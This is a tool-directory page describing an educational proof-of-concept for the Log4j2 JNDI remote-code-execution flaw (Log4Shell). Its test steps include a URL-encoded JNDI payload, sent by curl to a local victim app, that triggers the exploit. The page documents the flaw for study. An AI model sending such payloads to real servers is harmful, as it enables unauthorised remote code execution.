Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4j2-rce-poc — A bare minimum proof-of-concept for Log4j2 JNDI RCE vulnerability (CVE-2021-44228/Log4Shell). | Kitploit
Tools/GitHubGitHub/unlimitedsola/log4j2-rce-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHubunlimitedsola/log4j2-rce-poc

log4j2-rce-poc

A bare minimum proof-of-concept for Log4j2 JNDI RCE vulnerability (CVE-2021-44228/Log4Shell).

View Repository
3244 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Log4j2 RCE Vulnerability POC

A bare minimum proof-of-concept for Log4j2 JNDI Remote-Code-Execution vulnerability (CVE-2021-44228). This is intended for educational purposes to help people who are not security researchers to understand how it works and how large the impact is.

The POC bypasses the requirement for setting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase properties to true which were disabled by default since 8u121, 7u131, 6u141 .

Prerequisites

  • JDK 1.8

Note: JDK 1.8 is required for payload-server to compile, but the victim-app is vulnerable up until JDK 15 because the Nashorn engine was removed in JDK 15.

To Test

  1. Start the payload-server by running:
$ ./gradlew runPayloadServer
  1. Open a new terminal session then start the victim-app:
$ ./gradlew runVictimApp
  1. Run curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D to trigger the RCE.
  2. To proof the remote code has been executed, check the console log of victim-app. You should see an unintended log has been printed on the screen.
Download Tool